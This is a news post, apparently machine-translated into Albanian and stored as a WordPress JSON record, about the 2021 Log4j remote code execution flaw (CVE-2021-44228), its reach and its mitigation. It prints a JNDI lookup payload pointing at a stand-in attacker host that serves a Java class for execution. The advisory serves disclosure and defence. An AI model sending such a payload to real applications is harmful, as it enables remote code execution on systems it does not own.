{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Nj\u00eb vulnerabilitet katastrofik n\u00eb Apache Log4j, q\u00eb prek shum\u00eb projekte Java","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb Apache Log4j, nj\u00eb framework i njohur p\u00ebr organizimin e regjistrimeve n\u00eb aplikacionet Java, \u00ebsht\u00eb identifikuar nj\u00eb vulnerabilitet kritik q\u00eb lejon ekzekutimin e kodit t\u00eb rast\u00ebsish\u00ebm kur regjistrohet nj\u00eb vler\u00eb e formatuar posa\u00e7\u00ebrisht n\u00eb formatin \"{jndi:URL}\". Sulmi mund t\u00eb kryhet ndaj aplikacioneve Java q\u00eb regjistrojn\u00eb vlera t\u00eb marra nga burime t\u00eb jashtme, p\u00ebr shembull, gjat\u00eb shfaqjes s\u00eb vlerave problematike n\u00eb mesazhet e gabimit. <\/p>\n

V\u00ebrehet se problemi prek pothuajse t\u00eb gjitha projektet q\u00eb p\u00ebrdorin framework-e si Apache Struts, Apache Solr, Apache Druid ose Apache Flink, duke p\u00ebrfshir\u00eb Steam, Apple iCloud, klient\u00ebt dhe server\u00ebt e loj\u00ebs Minecraft. Pritet q\u00eb vulnerabiliteti t\u00eb shkaktoj\u00eb nj\u00eb val\u00eb sulmesh masive ndaj aplikacioneve korporative, duke p\u00ebrs\u00ebritur historin\u00eb e vulnerabiliteteve kritike n\u00eb framework-un Apache Struts, i cili sipas vler\u00ebsimeve p\u00ebrdoret n\u00eb aplikacionet web nga 65% e kompanive n\u00eb list\u00ebn Fortune 100. Gjithashtu, jan\u00eb regjistruar p\u00ebrpjekje p\u00ebr skanim t\u00eb rrjetit p\u00ebr sisteme t\u00eb prekura. <\/p>\n

Problemi p\u00ebrkeq\u00ebsohet nga fakti q\u00eb \u00ebsht\u00eb publikuar nj\u00eb exploit punues, por korrigjimet p\u00ebr deg\u00ebt stabile deri tani nuk jan\u00eb formuluar. Identifikuesi CVE nuk \u00ebsht\u00eb dh\u00ebn\u00eb ende. Korrektimi \u00ebsht\u00eb p\u00ebrfshir\u00eb vet\u00ebm n\u00eb deg\u00ebn testuese log4j-2.15.0-rc1. Si nj\u00eb zgjidhje p\u00ebr bllokimin e vulnerabilitetit, rekomandohet t\u00eb vendoset parametrin log4j2.formatMsgNoLookups n\u00eb vler\u00ebn true. <\/p>\n

Problemi u shkaktua nga fakti se log4j mb\u00ebshtet trajtimin e maskave speciale \"{}\" n\u00eb stringjet e regjistruara, n\u00eb t\u00eb cilat ishin t\u00eb mundshme k\u00ebrkesat JNDI (Java Naming and Directory Interface). Sulmi p\u00ebrb\u00ebhet nga d\u00ebrgimi i nj\u00eb stringu me z\u00ebvend\u00ebsim \"${jndi:ldap:\/\/attacker.com\/a}\", ku gjat\u00eb p\u00ebrpunimit log4j do t\u00eb d\u00ebrgoj\u00eb n\u00eb server<\/a> attacker.com p\u00ebr rrug\u00ebn e klas\u00ebs Java. Rruga e kthyer serverin<\/a> e sulmuesit (p.sh., http:\/\/second-stage.attacker.com\/Exploit.class) do t\u00eb ngarkohet dhe ekzekutohet n\u00eb kontekstin e procesit aktual, duke lejuar sulmuesin t\u00eb arrij\u00eb ekzekutimin e kodit t\u00eb p\u00ebrgjithsh\u00ebm n\u00eb sistem me t\u00eb drejtat e aplikacionit aktual. <\/p>\n

Shtesa 1: Vulnerabilitetit i \u00ebsht\u00eb dh\u00ebn\u00eb identifikuesi CVE-2021-44228. <\/p>\n

Shtesa 2: \u00cbsht\u00eb zbuluar nj\u00eb m\u00ebnyr\u00eb p\u00ebr t\u00eb anashkaluar mbrojtjen e shtuar nga rilansimi log4j-2.15.0-rc1. \u00cbsht\u00eb propozuar nj\u00eb p\u00ebrdit\u00ebsim i ri log4j-2.15.0-rc2 me mbrojtje m\u00eb t\u00eb plot\u00eb kund\u00ebr vulnerabilitetit. N\u00eb kod evidentohet ndryshimi i lidhur me munges\u00ebn e mbylljes fatkeqe n\u00eb rastin e p\u00ebrdorimit t\u00eb nj\u00eb URL JNDI t\u00eb formatuar gabim.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 «{jndi:URL}». \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102562","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilitet katastrofik n\u00eb Apache Log4j, q\u00eb prek shum\u00eb projekte Java | ProHoster","description":"N\u00eb Apache Log4j, nj\u00eb framework i njohur p\u00ebr menaxhimin e logeve n\u00eb aplikacionet Java, \u00ebsht\u00eb identifikuar nj\u00eb vulnerabilitet kritik q\u00eb lejon ekzekutimin e kodit t\u00eb p\u00ebrgjithsh\u00ebm gjat\u00eb regjistrimit t\u00eb nj\u00eb vlera t\u00eb formatizuar n\u00eb log.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache Log4j, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043c\u043d\u043e\u0433\u0438\u0435 Java-\u043f\u0440\u043e\u0435\u043a\u0442\u044b | ProHoster","og:description":"\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432.","og:url":"https:\/\/prohoster.info\/sq\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-12-10T07:36:48+00:00","article:modified_time":"2021-12-10T07:36:48+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102562","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-12-10 07:37:47","updated":"2026-02-09 21:46:43","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=102562"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102562\/revisions"}],"predecessor-version":[{"id":172962,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102562\/revisions\/172962"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=102562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=102562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=102562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}